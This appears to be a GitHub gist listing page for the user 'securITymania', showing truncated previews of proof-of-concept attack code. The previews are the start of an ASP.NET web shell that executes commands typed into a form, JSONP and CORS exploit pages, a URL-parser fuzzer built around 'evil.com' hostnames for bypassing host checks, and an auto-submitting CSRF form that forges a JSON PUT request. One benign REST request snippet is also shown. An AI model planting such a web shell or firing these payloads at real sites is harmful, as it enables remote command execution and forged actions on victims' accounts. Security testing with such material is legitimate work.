securITymania

securITymania / user.js

Created April 24, 2020 09:02 — forked from EtienneR/user.js

XMLHttpRequest RESTful (GET, POST, PUT, DELETE)

	// Get all users
	var url = "http://localhost:8080/api/v1/users";
	var xhr = new XMLHttpRequest()
	xhr.open('GET', url, true)
	xhr.onload = function () {
	var users = JSON.parse(xhr.responseText);
	if (xhr.readyState == 4 && xhr.status == "200") {
	console.table(users);
	} else {
	console.error(users);

securITymania / cmd_basic.aspx

Created April 17, 2020 09:43

	<%@ Page Language="VB" Debug="true" %>
	<%@ import Namespace="system.IO" %>
	<%@ import Namespace="System.Diagnostics" %>

	<script runat="server">
	Sub RunCmd(Src As Object, E As EventArgs)
	Dim myProcess As New Process()
	Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
	myProcessStartInfo.UseShellExecute = false
	myProcessStartInfo.RedirectStandardOutput = true

securITymania / jsop-poc.html

Last active April 5, 2020 16:51

	<!DOCTYPE html>
	<html>
	<head>
	<title>JSONP PoC</title>
	</head>
	<body>
	<center>

	<h1>JSONP Exploit<br>secureITmania</h1>
	<hr>

securITymania / cors_poc.html

Created April 5, 2020 13:43

	<!DOCTYPE html>
	<html>
	<head>
	<title>CORS PoC Exploit</title>
	</head>
	<body>
	<center>

	<h1>CORS Exploit<br>secureITmania</h1>
	<hr>

securITymania / urlparseanalysis.js

Last active March 14, 2020 09:51

	var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{\|}~';

	for (var i = 0; i < s.length; i++) {
	char = s.charAt(i);
	string = 'https://evil.com.'+char+'.example.com';
	try {
	const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
	} catch {
	console.log("[!] " + string + " -> ERROR");
	}

securITymania / csrfjson_poc.html

Last active March 7, 2020 08:07

	<body onload='document.forms[0].submit()'>
	<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
	<input type="text" name='{"username":"blob","dummy":"' value='"}'>
	<input type="submit" value="send">
	</form>

	<!---This results in a request body of:
	{"username":"blob", "dummy": "="} -->